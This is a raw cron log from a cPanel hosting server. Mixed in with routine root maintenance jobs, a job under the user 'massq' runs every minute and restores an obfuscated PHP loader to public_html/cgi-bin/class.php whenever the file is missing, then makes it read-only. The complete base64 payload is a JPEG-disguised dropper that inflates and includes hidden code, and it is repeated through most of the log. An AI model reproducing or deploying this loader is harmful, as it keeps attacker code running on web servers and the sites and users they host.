Sep  9 15:50:01 server CROND[22223]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 15:50:01 server CROND[22228]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 15:50:01 server CROND[22230]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 15:50:01 server CROND[22226]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:51:01 server CROND[23218]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:51:01 server CROND[23219]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:51:01 server CROND[23220]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 15:52:02 server CROND[23599]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:52:02 server CROND[23600]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 15:52:02 server CROND[23601]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:53:01 server CROND[24071]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:53:01 server CROND[24070]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 15:53:01 server CROND[24072]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:54:01 server CROND[24443]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:54:01 server CROND[24444]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:54:01 server CROND[24445]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 15:55:01 server CROND[24819]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 15:55:01 server CROND[24820]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 15:55:01 server CROND[24822]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 15:55:01 server CROND[24823]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:55:01 server CROND[24824]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 15:55:01 server CROND[24821]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 15:55:01 server CROND[24825]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:56:01 server CROND[25643]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:56:01 server CROND[25644]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:56:01 server CROND[25645]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 15:57:01 server CROND[26037]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:57:01 server CROND[26036]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 15:57:01 server CROND[26039]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:57:01 server CROND[26040]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 15:58:01 server CROND[26509]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:58:01 server CROND[26510]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:58:01 server CROND[26511]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 15:59:01 server CROND[26882]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 15:59:01 server CROND[26884]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:59:01 server CROND[26883]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:00:01 server CROND[27262]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 16:00:01 server CROND[27270]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 16:00:01 server CROND[27279]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 16:00:01 server CROND[27280]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 16:00:01 server CROND[27281]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 16:00:01 server CROND[27286]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:00:01 server CROND[27284]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  9 16:00:01 server CROND[27287]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:00:01 server CROND[27283]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  9 16:00:01 server CROND[27282]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 16:01:01 server CROND[28109]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 16:01:01 server CROND[28108]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:01:01 server CROND[28110]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:01:01 server CROND[28111]: (root) CMD (run-parts /etc/cron.hourly)
Sep  9 16:01:01 server run-parts(/etc/cron.hourly)[28111]: starting 0anacron
